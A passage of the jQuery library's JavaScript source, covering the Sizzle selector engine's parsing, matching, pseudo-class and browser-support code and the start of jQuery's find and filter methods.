siblingCheck( ap[i], bp[i] ) :
// Otherwise nodes in our document sort first
ap[i] === preferredDoc ? -1 :
bp[i] === preferredDoc ? 1 :
0;
};
return doc;
};
Sizzle.matches = function( expr, elements ) {
return Sizzle( expr, null, null, elements );
};
Sizzle.matchesSelector = function( elem, expr ) {
// Set document vars if needed
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}
// Make sure that attribute selectors are quoted
expr = expr.replace( rattributeQuotes, "='$1']" );
if ( support.matchesSelector && documentIsHTML &&
( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {
try {
var ret = matches.call( elem, expr );
// IE 9's matchesSelector returns false on disconnected nodes
if ( ret || support.disconnectedMatch ||
// As well, disconnected nodes are said to be in a document
// fragment in IE 9
elem.document && elem.document.nodeType !== 11 ) {
return ret;
}
} catch(e) {}
}
return Sizzle( expr, document, null, [elem] ).length > 0;
};
Sizzle.contains = function( context, elem ) {
// Set document vars if needed
if ( ( context.ownerDocument || context ) !== document ) {
setDocument( context );
}
return contains( context, elem );
};
Sizzle.attr = function( elem, name ) {
// Set document vars if needed
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}
var fn = Expr.attrHandle[ name.toLowerCase() ],
// Don't get fooled by Object.prototype properties (jQuery #13807)
val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
fn( elem, name, !documentIsHTML ) :
undefined;
return val !== undefined ?
val :
support.attributes || !documentIsHTML ?
elem.getAttribute( name ) :
(val = elem.getAttributeNode(name)) && val.specified ?
val.value :
null;
};
Sizzle.error = function( msg ) {
throw new Error( "Syntax error, unrecognized expression: " + msg );
};
/**
* Document sorting and removing duplicates
* @param {ArrayLike} results
*/
Sizzle.uniqueSort = function( results ) {
var elem,
duplicates = [],
j = 0,
i = 0;
// Unless we *know* we can detect duplicates, assume their presence
hasDuplicate = !support.detectDuplicates;
sortInput = !support.sortStable && results.slice( 0 );
results.sort( sortOrder );
if ( hasDuplicate ) {
while ( (elem = results[i++]) ) {
if ( elem === results[ i ] ) {
j = duplicates.push( i );
}
}
while ( j-- ) {
results.splice( duplicates[ j ], 1 );
}
}
// Clear input after sorting to release objects
// See https://github.com/jquery/sizzle/pull/225
sortInput = null;
return results;
};
/**
* Utility function for retrieving the text value of an array of DOM nodes
* @param {Array|Element} elem
*/
getText = Sizzle.getText = function( elem ) {
var node,
ret = "",
i = 0,
nodeType = elem.nodeType;
if ( !nodeType ) {
// If no nodeType, this is expected to be an array
while ( (node = elem[i++]) ) {
// Do not traverse comment nodes
ret += getText( node );
}
} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
// Use textContent for elements
// innerText usage removed for consistency of new lines (jQuery #11153)
if ( typeof elem.textContent === "string" ) {
return elem.textContent;
} else {
// Traverse its children
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
ret += getText( elem );
}
}
} else if ( nodeType === 3 || nodeType === 4 ) {
return elem.nodeValue;
}
// Do not include comment or processing instruction nodes
return ret;
};
Expr = Sizzle.selectors = {
// Can be adjusted by the user
cacheLength: 50,
createPseudo: markFunction,
match: matchExpr,
attrHandle: {},
find: {},
relative: {
">": { dir: "parentNode", first: true },
" ": { dir: "parentNode" },
"+": { dir: "previousSibling", first: true },
"~": { dir: "previousSibling" }
},
preFilter: {
"ATTR": function( match ) {
match[1] = match[1].replace( runescape, funescape );
// Move the given value to match[3] whether quoted or unquoted
match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape );
if ( match[2] === "~=" ) {
match[3] = " " + match[3] + " ";
}
return match.slice( 0, 4 );
},
"CHILD": function( match ) {
/* matches from matchExpr["CHILD"]
1 type (only|nth|...)
2 what (child|of-type)
3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
4 xn-component of xn+y argument ([+-]?\d*n|)
5 sign of xn-component
6 x of xn-component
7 sign of y-component
8 y of y-component
*/
match[1] = match[1].toLowerCase();
if ( match[1].slice( 0, 3 ) === "nth" ) {
// nth-* requires argument
if ( !match[3] ) {
Sizzle.error( match[0] );
}
// numeric x and y parameters for Expr.filter.CHILD
// remember that false/true cast respectively to 0/1
match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
// other types prohibit arguments
} else if ( match[3] ) {
Sizzle.error( match[0] );
}
return match;
},
"PSEUDO": function( match ) {
var excess,
unquoted = !match[5] && match[2];
if ( matchExpr["CHILD"].test( match[0] ) ) {
return null;
}
// Accept quoted arguments as-is
if ( match[3] && match[4] !== undefined ) {
match[2] = match[4];
// Strip excess characters from unquoted arguments
} else if ( unquoted && rpseudo.test( unquoted ) &&
// Get excess from tokenize (recursively)
(excess = tokenize( unquoted, true )) &&
// advance to the next closing parenthesis
(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
// excess is a negative index
match[0] = match[0].slice( 0, excess );
match[2] = unquoted.slice( 0, excess );
}
// Return only captures needed by the pseudo filter method (type and argument)
return match.slice( 0, 3 );
}
},
filter: {
"TAG": function( nodeNameSelector ) {
var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
return nodeNameSelector === "*" ?
function() { return true; } :
function( elem ) {
return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
};
},
"CLASS": function( className ) {
var pattern = classCache[ className + " " ];
return pattern ||
(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
classCache( className, function( elem ) {
return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute("class") || "" );
});
},
"ATTR": function( name, operator, check ) {
return function( elem ) {
var result = Sizzle.attr( elem, name );
if ( result == null ) {
return operator === "!=";
}
if ( !operator ) {
return true;
}
result += "";
return operator === "=" ? result === check :
operator === "!=" ? result !== check :
operator === "^=" ? check && result.indexOf( check ) === 0 :
operator === "*=" ? check && result.indexOf( check ) > -1 :
operator === "$=" ? check && result.slice( -check.length ) === check :
operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
false;
};
},
"CHILD": function( type, what, argument, first, last ) {
var simple = type.slice( 0, 3 ) !== "nth",
forward = type.slice( -4 ) !== "last",
ofType = what === "of-type";
return first === 1 && last === 0 ?
// Shortcut for :nth-*(n)
function( elem ) {
return !!elem.parentNode;
} :
function( elem, context, xml ) {
var cache, outerCache, node, diff, nodeIndex, start,
dir = simple !== forward ? "nextSibling" : "previousSibling",
parent = elem.parentNode,
name = ofType && elem.nodeName.toLowerCase(),
useCache = !xml && !ofType;
if ( parent ) {
// :(first|last|only)-(child|of-type)
if ( simple ) {
while ( dir ) {
node = elem;
while ( (node = node[ dir ]) ) {
if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
return false;
}
}
// Reverse direction for :only-* (if we haven't yet done so)
start = dir = type === "only" && !start && "nextSibling";
}
return true;
}
start = [ forward ? parent.firstChild : parent.lastChild ];
// non-xml :nth-child(...) stores cache data on `parent`
if ( forward && useCache ) {
// Seek `elem` from a previously-cached index
outerCache = parent[ expando ] || (parent[ expando ] = {});
cache = outerCache[ type ] || [];
nodeIndex = cache[0] === dirruns && cache[1];
diff = cache[0] === dirruns && cache[2];
node = nodeIndex && parent.childNodes[ nodeIndex ];
while ( (node = ++nodeIndex && node && node[ dir ] ||
// Fallback to seeking `elem` from the start
(diff = nodeIndex = 0) || start.pop()) ) {
// When found, cache indexes on `parent` and break
if ( node.nodeType === 1 && ++diff && node === elem ) {
outerCache[ type ] = [ dirruns, nodeIndex, diff ];
break;
}
}
// Use previously-cached element index if available
} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
diff = cache[1];
// xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)
} else {
// Use the same loop as above to seek `elem` from the start
while ( (node = ++nodeIndex && node && node[ dir ] ||
(diff = nodeIndex = 0) || start.pop()) ) {
if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
// Cache the index of each encountered element
if ( useCache ) {
(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
}
if ( node === elem ) {
break;
}
}
}
}
// Incorporate the offset, then check against cycle size
diff -= last;
return diff === first || ( diff % first === 0 && diff / first >= 0 );
}
};
},
"PSEUDO": function( pseudo, argument ) {
// pseudo-class names are case-insensitive
// http://www.w3.org/TR/selectors/#pseudo-classes
// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
// Remember that setFilters inherits from pseudos
var args,
fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
Sizzle.error( "unsupported pseudo: " + pseudo );
// The user may use createPseudo to indicate that
// arguments are needed to create the filter function
// just as Sizzle does
if ( fn[ expando ] ) {
return fn( argument );
}
// But maintain support for old signatures
if ( fn.length > 1 ) {
args = [ pseudo, pseudo, "", argument ];
return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
markFunction(function( seed, matches ) {
var idx,
matched = fn( seed, argument ),
i = matched.length;
while ( i-- ) {
idx = indexOf.call( seed, matched[i] );
seed[ idx ] = !( matches[ idx ] = matched[i] );
}
}) :
function( elem ) {
return fn( elem, 0, args );
};
}
return fn;
}
},
pseudos: {
// Potentially complex pseudos
"not": markFunction(function( selector ) {
// Trim the selector passed to compile
// to avoid treating leading and trailing
// spaces as combinators
var input = [],
results = [],
matcher = compile( selector.replace( rtrim, "$1" ) );
return matcher[ expando ] ?
markFunction(function( seed, matches, context, xml ) {
var elem,
unmatched = matcher( seed, null, xml, [] ),
i = seed.length;
// Match elements unmatched by `matcher`
while ( i-- ) {
if ( (elem = unmatched[i]) ) {
seed[i] = !(matches[i] = elem);
}
}
}) :
function( elem, context, xml ) {
input[0] = elem;
matcher( input, null, xml, results );
return !results.pop();
};
}),
"has": markFunction(function( selector ) {
return function( elem ) {
return Sizzle( selector, elem ).length > 0;
};
}),
"contains": markFunction(function( text ) {
return function( elem ) {
return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
};
}),
// "Whether an element is represented by a :lang() selector
// is based solely on the element's language value
// being equal to the identifier C,
// or beginning with the identifier C immediately followed by "-".
// The matching of C against the element's language value is performed case-insensitively.
// The identifier C does not have to be a valid language name."
// http://www.w3.org/TR/selectors/#lang-pseudo
"lang": markFunction( function( lang ) {
// lang value must be a valid identifier
if ( !ridentifier.test(lang || "") ) {
Sizzle.error( "unsupported lang: " + lang );
}
lang = lang.replace( runescape, funescape ).toLowerCase();
return function( elem ) {
var elemLang;
do {
if ( (elemLang = documentIsHTML ?
elem.lang :
elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
elemLang = elemLang.toLowerCase();
return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
}
} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
return false;
};
}),
// Miscellaneous
"target": function( elem ) {
var hash = window.location && window.location.hash;
return hash && hash.slice( 1 ) === elem.id;
},
"root": function( elem ) {
return elem === docElem;
},
"focus": function( elem ) {
return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
},
// Boolean properties
"enabled": function( elem ) {
return elem.disabled === false;
},
"disabled": function( elem ) {
return elem.disabled === true;
},
"checked": function( elem ) {
// In CSS3, :checked should return both checked and selected elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
var nodeName = elem.nodeName.toLowerCase();
return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
},
"selected": function( elem ) {
// Accessing this property makes selected-by-default
// options in Safari work properly
if ( elem.parentNode ) {
elem.parentNode.selectedIndex;
}
return elem.selected === true;
},
// Contents
"empty": function( elem ) {
// http://www.w3.org/TR/selectors/#empty-pseudo
// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
// but not by others (comment: 8; processing instruction: 7; etc.)
// nodeType < 6 works because attributes (2) do not appear as children
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
if ( elem.nodeType < 6 ) {
return false;
}
}
return true;
},
"parent": function( elem ) {
return !Expr.pseudos["empty"]( elem );
},
// Element/input types
"header": function( elem ) {
return rheader.test( elem.nodeName );
},
"input": function( elem ) {
return rinputs.test( elem.nodeName );
},
"button": function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === "button" || name === "button";
},
"text": function( elem ) {
var attr;
return elem.nodeName.toLowerCase() === "input" &&
elem.type === "text" &&
// Support: IE<8
// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
},
// Position-in-collection
"first": createPositionalPseudo(function() {
return [ 0 ];
}),
"last": createPositionalPseudo(function( matchIndexes, length ) {
return [ length - 1 ];
}),
"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
return [ argument < 0 ? argument + length : argument ];
}),
"even": createPositionalPseudo(function( matchIndexes, length ) {
var i = 0;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"odd": createPositionalPseudo(function( matchIndexes, length ) {
var i = 1;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; --i >= 0; ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; ++i < length; ) {
matchIndexes.push( i );
}
return matchIndexes;
})
}
};
Expr.pseudos["nth"] = Expr.pseudos["eq"];
// Add button/input type pseudos
for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
Expr.pseudos[ i ] = createInputPseudo( i );
}
for ( i in { submit: true, reset: true } ) {
Expr.pseudos[ i ] = createButtonPseudo( i );
}
// Easy API for creating new setFilters
function setFilters() {}
setFilters.prototype = Expr.filters = Expr.pseudos;
Expr.setFilters = new setFilters();
function tokenize( selector, parseOnly ) {
var matched, match, tokens, type,
soFar, groups, preFilters,
cached = tokenCache[ selector + " " ];
if ( cached ) {
return parseOnly ? 0 : cached.slice( 0 );
}
soFar = selector;
groups = [];
preFilters = Expr.preFilter;
while ( soFar ) {
// Comma and first run
if ( !matched || (match = rcomma.exec( soFar )) ) {
if ( match ) {
// Don't consume trailing commas as valid
soFar = soFar.slice( match[0].length ) || soFar;
}
groups.push( (tokens = []) );
}
matched = false;
// Combinators
if ( (match = rcombinators.exec( soFar )) ) {
matched = match.shift();
tokens.push({
value: matched,
// Cast descendant combinators to space
type: match[0].replace( rtrim, " " )
});
soFar = soFar.slice( matched.length );
}
// Filters
for ( type in Expr.filter ) {
if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
(match = preFilters[ type ]( match ))) ) {
matched = match.shift();
tokens.push({
value: matched,
type: type,
matches: match
});
soFar = soFar.slice( matched.length );
}
}
if ( !matched ) {
break;
}
}
// Return the length of the invalid excess
// if we're just parsing
// Otherwise, throw an error or return tokens
return parseOnly ?
soFar.length :
soFar ?
Sizzle.error( selector ) :
// Cache the tokens
tokenCache( selector, groups ).slice( 0 );
}
function toSelector( tokens ) {
var i = 0,
len = tokens.length,
selector = "";
for ( ; i < len; i++ ) {
selector += tokens[i].value;
}
return selector;
}
function addCombinator( matcher, combinator, base ) {
var dir = combinator.dir,
checkNonElements = base && dir === "parentNode",
doneName = done++;
return combinator.first ?
// Check against closest ancestor/preceding element
function( elem, context, xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
return matcher( elem, context, xml );
}
}
} :
// Check against all ancestor/preceding elements
function( elem, context, xml ) {
var oldCache, outerCache,
newCache = [ dirruns, doneName ];
// We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
if ( xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
if ( matcher( elem, context, xml ) ) {
return true;
}
}
}
} else {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
outerCache = elem[ expando ] || (elem[ expando ] = {});
if ( (oldCache = outerCache[ dir ]) &&
oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
// Assign to newCache so results back-propagate to previous elements
return (newCache[ 2 ] = oldCache[ 2 ]);
} else {
// Reuse newcache so results back-propagate to previous elements
outerCache[ dir ] = newCache;
// A match means we're done; a fail means we have to keep checking
if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
return true;
}
}
}
}
}
};
}
function elementMatcher( matchers ) {
return matchers.length > 1 ?
function( elem, context, xml ) {
var i = matchers.length;
while ( i-- ) {
if ( !matchers[i]( elem, context, xml ) ) {
return false;
}
}
return true;
} :
matchers[0];
}
function multipleContexts( selector, contexts, results ) {
var i = 0,
len = contexts.length;
for ( ; i < len; i++ ) {
Sizzle( selector, contexts[i], results );
}
return results;
}
function condense( unmatched, map, filter, context, xml ) {
var elem,
newUnmatched = [],
i = 0,
len = unmatched.length,
mapped = map != null;
for ( ; i < len; i++ ) {
if ( (elem = unmatched[i]) ) {
if ( !filter || filter( elem, context, xml ) ) {
newUnmatched.push( elem );
if ( mapped ) {
map.push( i );
}
}
}
}
return newUnmatched;
}
function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
if ( postFilter && !postFilter[ expando ] ) {
postFilter = setMatcher( postFilter );
}
if ( postFinder && !postFinder[ expando ] ) {
postFinder = setMatcher( postFinder, postSelector );
}
return markFunction(function( seed, results, context, xml ) {
var temp, i, elem,
preMap = [],
postMap = [],
preexisting = results.length,
// Get initial elements from seed or context
elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
// Prefilter to get matcher input, preserving a map for seed-results synchronization
matcherIn = preFilter && ( seed || !selector ) ?
condense( elems, preMap, preFilter, context, xml ) :
elems,
matcherOut = matcher ?
// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
// ...intermediate processing is necessary
[] :
// ...otherwise use results directly
results :
matcherIn;
// Find primary matches
if ( matcher ) {
matcher( matcherIn, matcherOut, context, xml );
}
// Apply postFilter
if ( postFilter ) {
temp = condense( matcherOut, postMap );
postFilter( temp, [], context, xml );
// Un-match failing elements by moving them back to matcherIn
i = temp.length;
while ( i-- ) {
if ( (elem = temp[i]) ) {
matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
}
}
}
if ( seed ) {
if ( postFinder || preFilter ) {
if ( postFinder ) {
// Get the final matcherOut by condensing this intermediate into postFinder contexts
temp = [];
i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) ) {
// Restore matcherIn since elem is not yet a final match
temp.push( (matcherIn[i] = elem) );
}
}
postFinder( null, (matcherOut = []), temp, xml );
}
// Move matched elements from seed to results to keep them synchronized
i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) &&
(temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
seed[temp] = !(results[temp] = elem);
}
}
}
// Add elements to results, through postFinder if defined
} else {
matcherOut = condense(
matcherOut === results ?
matcherOut.splice( preexisting, matcherOut.length ) :
matcherOut
);
if ( postFinder ) {
postFinder( null, results, matcherOut, xml );
} else {
push.apply( results, matcherOut );
}
}
});
}
function matcherFromTokens( tokens ) {
var checkContext, matcher, j,
len = tokens.length,
leadingRelative = Expr.relative[ tokens[0].type ],
implicitRelative = leadingRelative || Expr.relative[" "],
i = leadingRelative ? 1 : 0,
// The foundational matcher ensures that elements are reachable from top-level context(s)
matchContext = addCombinator( function( elem ) {
return elem === checkContext;
}, implicitRelative, true ),
matchAnyContext = addCombinator( function( elem ) {
return indexOf.call( checkContext, elem ) > -1;
}, implicitRelative, true ),
matchers = [ function( elem, context, xml ) {
return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
(checkContext = context).nodeType ?
matchContext( elem, context, xml ) :
matchAnyContext( elem, context, xml ) );
} ];
for ( ; i < len; i++ ) {
if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
} else {
matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
// Return special upon seeing a positional matcher
if ( matcher[ expando ] ) {
// Find the next relative operator (if any) for proper handling
j = ++i;
for ( ; j < len; j++ ) {
if ( Expr.relative[ tokens[j].type ] ) {
break;
}
}
return setMatcher(
i > 1 && elementMatcher( matchers ),
i > 1 && toSelector(
// If the preceding token was a descendant combinator, insert an implicit any-element `*`
tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
).replace( rtrim, "$1" ),
matcher,
i < j && matcherFromTokens( tokens.slice( i, j ) ),
j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
j < len && toSelector( tokens )
);
}
matchers.push( matcher );
}
}
return elementMatcher( matchers );
}
function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
var bySet = setMatchers.length > 0,
byElement = elementMatchers.length > 0,
superMatcher = function( seed, context, xml, results, outermost ) {
var elem, j, matcher,
matchedCount = 0,
i = "0",
unmatched = seed && [],
setMatched = [],
contextBackup = outermostContext,
// We must always have either seed elements or outermost context
elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
// Use integer dirruns iff this is the outermost matcher
dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
len = elems.length;
if ( outermost ) {
outermostContext = context !== document && context;
}
// Add elements passing elementMatchers directly to results
// Keep `i` a string if there are no elements so `matchedCount` will be "00" below
// Support: IE<9, Safari
// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
if ( byElement && elem ) {
j = 0;
while ( (matcher = elementMatchers[j++]) ) {
if ( matcher( elem, context, xml ) ) {
results.push( elem );
break;
}
}
if ( outermost ) {
dirruns = dirrunsUnique;
}
}
// Track unmatched elements for set filters
if ( bySet ) {
// They will have gone through all possible matchers
if ( (elem = !matcher && elem) ) {
matchedCount--;
}
// Lengthen the array for every element, matched or not
if ( seed ) {
unmatched.push( elem );
}
}
}
// Apply set filters to unmatched elements
matchedCount += i;
if ( bySet && i !== matchedCount ) {
j = 0;
while ( (matcher = setMatchers[j++]) ) {
matcher( unmatched, setMatched, context, xml );
}
if ( seed ) {
// Reintegrate element matches to eliminate the need for sorting
if ( matchedCount > 0 ) {
while ( i-- ) {
if ( !(unmatched[i] || setMatched[i]) ) {
setMatched[i] = pop.call( results );
}
}
}
// Discard index placeholder values to get only actual matches
setMatched = condense( setMatched );
}
// Add matches to results
push.apply( results, setMatched );
// Seedless set matches succeeding multiple successful matchers stipulate sorting
if ( outermost && !seed && setMatched.length > 0 &&
( matchedCount + setMatchers.length ) > 1 ) {
Sizzle.uniqueSort( results );
}
}
// Override manipulation of globals by nested matchers
if ( outermost ) {
dirruns = dirrunsUnique;
outermostContext = contextBackup;
}
return unmatched;
};
return bySet ?
markFunction( superMatcher ) :
superMatcher;
}
compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
var i,
setMatchers = [],
elementMatchers = [],
cached = compilerCache[ selector + " " ];
if ( !cached ) {
// Generate a function of recursive functions that can be used to check each element
if ( !match ) {
match = tokenize( selector );
}
i = match.length;
while ( i-- ) {
cached = matcherFromTokens( match[i] );
if ( cached[ expando ] ) {
setMatchers.push( cached );
} else {
elementMatchers.push( cached );
}
}
// Cache the compiled function
cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
// Save selector and tokenization
cached.selector = selector;
}
return cached;
};
/**
* A low-level selection function that works with Sizzle's compiled
* selector functions
* @param {String|Function} selector A selector or a pre-compiled
* selector function built with Sizzle.compile
* @param {Element} context
* @param {Array} [results]
* @param {Array} [seed] A set of elements to match against
*/
select = Sizzle.select = function( selector, context, results, seed ) {
var i, tokens, token, type, find,
compiled = typeof selector === "function" && selector,
match = !seed && tokenize( (selector = compiled.selector || selector) );
results = results || [];
// Try to minimize operations if there is no seed and only one group
if ( match.length === 1 ) {
// Take a shortcut and set the context if the root selector is an ID
tokens = match[0] = match[0].slice( 0 );
if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
support.getById && context.nodeType === 9 && documentIsHTML &&
Expr.relative[ tokens[1].type ] ) {
context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
if ( !context ) {
return results;
// Precompiled matchers will still verify ancestry, so step up a level
} else if ( compiled ) {
context = context.parentNode;
}
selector = selector.slice( tokens.shift().value.length );
}
// Fetch a seed set for right-to-left matching
i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
while ( i-- ) {
token = tokens[i];
// Abort if we hit a combinator
if ( Expr.relative[ (type = token.type) ] ) {
break;
}
if ( (find = Expr.find[ type ]) ) {
// Search, expanding context for leading sibling combinators
if ( (seed = find(
token.matches[0].replace( runescape, funescape ),
rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
)) ) {
// If seed is empty or no tokens remain, we can return early
tokens.splice( i, 1 );
selector = seed.length && toSelector( tokens );
if ( !selector ) {
push.apply( results, seed );
return results;
}
break;
}
}
}
}
// Compile and execute a filtering function if one is not provided
// Provide `match` to avoid retokenization if we modified the selector above
( compiled || compile( selector, match ) )(
seed,
context,
!documentIsHTML,
results,
rsibling.test( selector ) && testContext( context.parentNode ) || context
);
return results;
};
// One-time assignments
// Sort stability
support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
// Support: Chrome<14
// Always assume duplicates if they aren't passed to the comparison function
support.detectDuplicates = !!hasDuplicate;
// Initialize against the default document
setDocument();
// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
// Detached nodes confoundingly follow *each other*
support.sortDetached = assert(function( div1 ) {
// Should return 1, but returns 4 (following)
return div1.compareDocumentPosition( document.createElement("div") ) & 1;
});
// Support: IE<8
// Prevent attribute/property "interpolation"
// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
if ( !assert(function( div ) {
div.innerHTML = "<a href='#'></a>";
return div.firstChild.getAttribute("href") === "#" ;
}) ) {
addHandle( "type|href|height|width", function( elem, name, isXML ) {
if ( !isXML ) {
return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
}
});
}
// Support: IE<9
// Use defaultValue in place of getAttribute("value")
if ( !support.attributes || !assert(function( div ) {
div.innerHTML = "<input/>";
div.firstChild.setAttribute( "value", "" );
return div.firstChild.getAttribute( "value" ) === "";
}) ) {
addHandle( "value", function( elem, name, isXML ) {
if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
return elem.defaultValue;
}
});
}
// Support: IE<9
// Use getAttributeNode to fetch booleans when getAttribute lies
if ( !assert(function( div ) {
return div.getAttribute("disabled") == null;
}) ) {
addHandle( booleans, function( elem, name, isXML ) {
var val;
if ( !isXML ) {
return elem[ name ] === true ? name.toLowerCase() :
(val = elem.getAttributeNode( name )) && val.specified ?
val.value :
null;
}
});
}
return Sizzle;
})( window );
jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;
jQuery.expr[":"] = jQuery.expr.pseudos;
jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
var rneedsContext = jQuery.expr.match.needsContext;
var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
var risSimple = /^.[^:#\[\.,]*$/;
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
if ( jQuery.isFunction( qualifier ) ) {
return jQuery.grep( elements, function( elem, i ) {
/* jshint -W018 */
return !!qualifier.call( elem, i, elem ) !== not;
});
}
if ( qualifier.nodeType ) {
return jQuery.grep( elements, function( elem ) {
return ( elem === qualifier ) !== not;
});
}
if ( typeof qualifier === "string" ) {
if ( risSimple.test( qualifier ) ) {
return jQuery.filter( qualifier, elements, not );
}
qualifier = jQuery.filter( qualifier, elements );
}
return jQuery.grep( elements, function( elem ) {
return ( jQuery.inArray( elem, qualifier ) >= 0 ) !== not;
});
}
jQuery.filter = function( expr, elems, not ) {
var elem = elems[ 0 ];
if ( not ) {
expr = ":not(" + expr + ")";
}
return elems.length === 1 && elem.nodeType === 1 ?
jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :
jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
return elem.nodeType === 1;
}));
};
jQuery.fn.extend({
find: function( selector ) {
var i,
ret = [],
self = this,
len = self.length;
if ( typeof selector !== "string" ) {
return this.pushStack( jQuery( selector ).filter(function() {
for ( i = 0; i < len; i++ ) {
if ( jQuery.contains( self[ i ], this ) ) {
return true;
}
}
}) );
}
for ( i = 0; i < len; i++ ) {
jQuery.find( selector, self[ i ], ret );
}
// Needed because $( selector, context ) becomes $( context ).find( selector )
ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
ret.selector = this.selector ? this.selector + " " + selector : selector;
return ret;
},
filter: function( selector ) {
return this.pushStack( winnow(this, selector || [], false) );
},
not: function( selector ) {
return this.pushStack( winnow(this, selector || [], true) );
},
is: function( selector ) {
return !!winnow(
this,
// If this is a positional/relative selector, check membership in the returned set
// so $("p:first").is("p:last") won't return true for a doc with two "p".
typeof selector === "string" && rneedsContext.test( selector ) ?
jQuery( selector ) :
selector || [],
false
).length;
